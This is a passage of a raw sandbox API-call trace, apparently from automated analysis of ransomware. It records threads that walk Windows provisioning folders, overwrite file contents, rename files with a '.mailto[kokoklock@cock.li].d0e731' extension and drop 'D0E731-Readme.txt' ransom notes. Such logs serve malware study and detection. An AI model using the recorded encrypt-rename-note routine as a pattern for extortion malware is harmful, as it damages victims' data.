returned 1 [0078.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493158) returned 1 [0078.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493220) returned 1 [0078.464] CloseHandle (hObject=0xa20) returned 1 [0078.465] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10a) returned 0x33e8990 [0078.465] wcscpy (in: _Dest=0x33e8990, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml" [0078.465] wcscat (in: _Dest=0x33e8990, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0078.465] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0078.465] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0078.466] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8990) returned 1 [0078.466] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml", dwFileAttributes=0x20) returned 0 [0078.466] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f76e8 [0078.466] wcscpy (in: _Dest=0x33f76e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\" [0078.466] wcscat (in: _Dest=0x33f76e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\D0E731-Readme.txt" [0078.466] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\d0e731-readme.txt")) returned 0xffffffff [0078.466] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa20 [0078.466] WriteFile (in: hFile=0xa20, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2043fd1c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2043fd1c*=0x481, lpOverlapped=0x0) returned 1 [0078.467] CloseHandle (hObject=0xa20) returned 1 [0078.468] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f76e8) returned 1 [0078.468] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434f78) returned 1 [0078.468] RtlExitUserThread (Status=0x1) Thread: id = 879 os_tid = 0x14c0 [0078.460] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\masterdatastore.xml")) returned 0x20 [0078.468] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 1 [0078.469] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa20 [0078.469] GetFileSizeEx (in: hFile=0xa20, lpFileSize=0x204bfcb0 | out: lpFileSize=0x204bfcb0*=271) returned 1 [0078.469] SetFilePointerEx (in: hFile=0xa20, liDistanceToMove=0x10b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.469] ReadFile (in: hFile=0xa20, lpBuffer=0x204bfc84, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x204bfc80, lpOverlapped=0x0 | out: lpBuffer=0x204bfc84*, lpNumberOfBytesRead=0x204bfc80*=0x4, lpOverlapped=0x0) returned 1 [0078.470] SetFilePointerEx (in: hFile=0xa20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.470] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ff0 [0078.470] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f00 [0078.470] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493158 [0078.470] NtQuerySystemTime (in: CurrentTime=0x204bfc5c | out: CurrentTime=0x204bfc5c*=132121176363627726) returned 0x0 [0078.470] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0x381a3186 [0078.470] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0x869a572b [0078.470] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0x34c64276 [0078.470] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0x45c84051 [0078.470] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0x56ae0582 [0078.470] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0xa58dc71f [0078.470] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0x1e79c63d [0078.470] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0xe55f5189 [0078.470] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0xcebfc558 [0078.470] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0xfc3825d9 [0078.470] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0xa4b414a0 [0078.470] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0x515f9f70 [0078.470] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0xc3e8755c [0078.470] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0xd2da516e [0078.471] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0x9dc03264 [0078.471] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0x111eb3e1 [0078.471] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0xd37a5e7b [0078.471] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0x614f2ed2 [0078.471] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0xcff77239 [0078.471] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0x45843459 [0078.471] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0x6e46528d [0078.471] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0xef3745a [0078.471] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0x235cbc4c [0078.471] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0xb92a8c30 [0078.471] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0x78cbaf98 [0078.471] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0x916f107c [0078.471] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0xeea38ea6 [0078.471] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0xebd144b1 [0078.471] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0x97b47e93 [0078.471] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0x111990e6 [0078.471] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0x7de8861 [0078.471] RtlRandom (in: Seed=0x204bfc68 | out: Seed=0x204bfc68) returned 0x820a7fe9 [0078.482] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.482] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ff0) returned 1 [0078.482] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0078.482] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0078.482] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492e88 [0078.482] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492e88) returned 1 [0078.482] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0078.482] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.483] ReadFile (in: hFile=0xa20, lpBuffer=0x348d230, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x204bfc5c, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x204bfc5c*=0x10f, lpOverlapped=0x0) returned 1 [0078.483] SetFilePointerEx (in: hFile=0xa20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204bfc24 | out: lpNewFilePointer=0x0) returned 1 [0078.483] WriteFile (in: hFile=0xa20, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x204bfc58, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x204bfc58*=0x10f, lpOverlapped=0x0) returned 1 [0078.483] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493090 [0078.483] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ed8 [0078.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ed8) returned 1 [0078.483] WriteFile (in: hFile=0xa20, lpBuffer=0x3493090*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x204bfc54, lpOverlapped=0x0 | out: lpBuffer=0x3493090*, lpNumberOfBytesWritten=0x204bfc54*=0x20, lpOverlapped=0x0) returned 1 [0078.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493090) returned 1 [0078.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0078.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0078.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0078.483] WriteFile (in: hFile=0xa20, lpBuffer=0x3493220*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x204bfc80, lpOverlapped=0x0 | out: lpBuffer=0x3493220*, lpNumberOfBytesWritten=0x204bfc80*=0x8, lpOverlapped=0x0) returned 1 [0078.483] WriteFile (in: hFile=0xa20, lpBuffer=0x204bfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x204bfc80, lpOverlapped=0x0 | out: lpBuffer=0x204bfc98*, lpNumberOfBytesWritten=0x204bfc80*=0x4, lpOverlapped=0x0) returned 1 [0078.483] WriteFile (in: hFile=0xa20, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x204bfc80, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x204bfc80*=0x4, lpOverlapped=0x0) returned 1 [0078.483] WriteFile (in: hFile=0xa20, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x204bfc80, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x204bfc80*=0x6c, lpOverlapped=0x0) returned 1 [0078.484] WriteFile (in: hFile=0xa20, lpBuffer=0x3492f00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x204bfc80, lpOverlapped=0x0 | out: lpBuffer=0x3492f00*, lpNumberOfBytesWritten=0x204bfc80*=0x20, lpOverlapped=0x0) returned 1 [0078.484] WriteFile (in: hFile=0xa20, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x204bfc80, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x204bfc80*=0x4, lpOverlapped=0x0) returned 1 [0078.484] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492f00) returned 1 [0078.484] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34931a8) returned 1 [0078.484] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493220) returned 1 [0078.484] CloseHandle (hObject=0xa20) returned 1 [0078.484] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x33e8f08 [0078.484] wcscpy (in: _Dest=0x33e8f08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml" [0078.484] wcscat (in: _Dest=0x33e8f08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0078.484] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\masterdatastore.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0078.485] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0078.485] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8f08) returned 1 [0078.485] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 0 [0078.485] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f8248 [0078.485] wcscpy (in: _Dest=0x33f8248, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\" [0078.485] wcscat (in: _Dest=0x33f8248, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\D0E731-Readme.txt" [0078.485] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\d0e731-readme.txt")) returned 0x20 [0078.485] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8248) returned 1 [0078.485] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476790) returned 1 [0078.485] RtlExitUserThread (Status=0x1) Thread: id = 880 os_tid = 0x14c4 [0078.486] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x34291c0 [0078.486] wcscpy (in: _Dest=0x34291c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov" [0078.486] wcscat (in: _Dest=0x34291c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\" [0078.486] wcscat (in: _Dest=0x34291c0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\*" [0078.487] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f3778 [0078.487] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\*", lpFindFileData=0x33f3778 | out: lpFindFileData=0x33f3778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0698 [0078.487] wcscmp (_String1=".", _String2=".") returned 0 [0078.487] FindNextFileW (in: hFindFile=0x33e0698, lpFindFileData=0x33f3778 | out: lpFindFileData=0x33f3778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.487] wcscmp (_String1="..", _String2=".") returned 1 [0078.487] wcscmp (_String1="..", _String2="..") returned 0 [0078.487] FindNextFileW (in: hFindFile=0x33e0698, lpFindFileData=0x33f3778 | out: lpFindFileData=0x33f3778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2270dc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2270dc88, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0078.487] wcscmp (_String1="RunTime", _String2=".") returned 1 [0078.487] wcscmp (_String1="RunTime", _String2="..") returned 1 [0078.487] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x34318d0 [0078.487] wcscpy (in: _Dest=0x34318d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov" [0078.487] wcscat (in: _Dest=0x34318d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\" [0078.487] wcscat (in: _Dest=0x34318d0, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0083.027] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34318d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b4 [0083.028] FindNextFileW (in: hFindFile=0x33e0698, lpFindFileData=0x33f3778 | out: lpFindFileData=0x33f3778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x919d3d65, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0083.028] wcscmp (_String1="RunTime.xml", _String2=".") returned 1 [0083.028] wcscmp (_String1="RunTime.xml", _String2="..") returned 1 [0083.028] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33f6d28 [0083.028] wcscpy (in: _Dest=0x33f6d28, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov" [0083.028] wcscat (in: _Dest=0x33f6d28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\" [0083.028] wcscat (in: _Dest=0x33f6d28, _Source="RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml" [0083.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f6d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x610 [0083.029] FindNextFileW (in: hFindFile=0x33e0698, lpFindFileData=0x33f3778 | out: lpFindFileData=0x33f3778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x919d3d65, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0083.029] FindClose (in: hFindFile=0x33e0698 | out: hFindFile=0x33e0698) returned 1 [0083.029] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f3778) returned 1 [0083.029] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34291c0) returned 1 [0083.029] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428868) returned 1 [0083.029] RtlExitUserThread (Status=0x0) Thread: id = 881 os_tid = 0x14c8 [0078.489] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml")) returned 0x20 [0078.489] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml", dwFileAttributes=0x20) returned 1 [0078.489] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8b4 [0078.489] GetFileSizeEx (in: hFile=0x8b4, lpFileSize=0x205bfcc0 | out: lpFileSize=0x205bfcc0*=1842) returned 1 [0078.489] SetFilePointerEx (in: hFile=0x8b4, liDistanceToMove=0x72e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.489] ReadFile (in: hFile=0x8b4, lpBuffer=0x205bfc94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x205bfc90, lpOverlapped=0x0 | out: lpBuffer=0x205bfc94*, lpNumberOfBytesRead=0x205bfc90*=0x4, lpOverlapped=0x0) returned 1 [0078.491] SetFilePointerEx (in: hFile=0x8b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 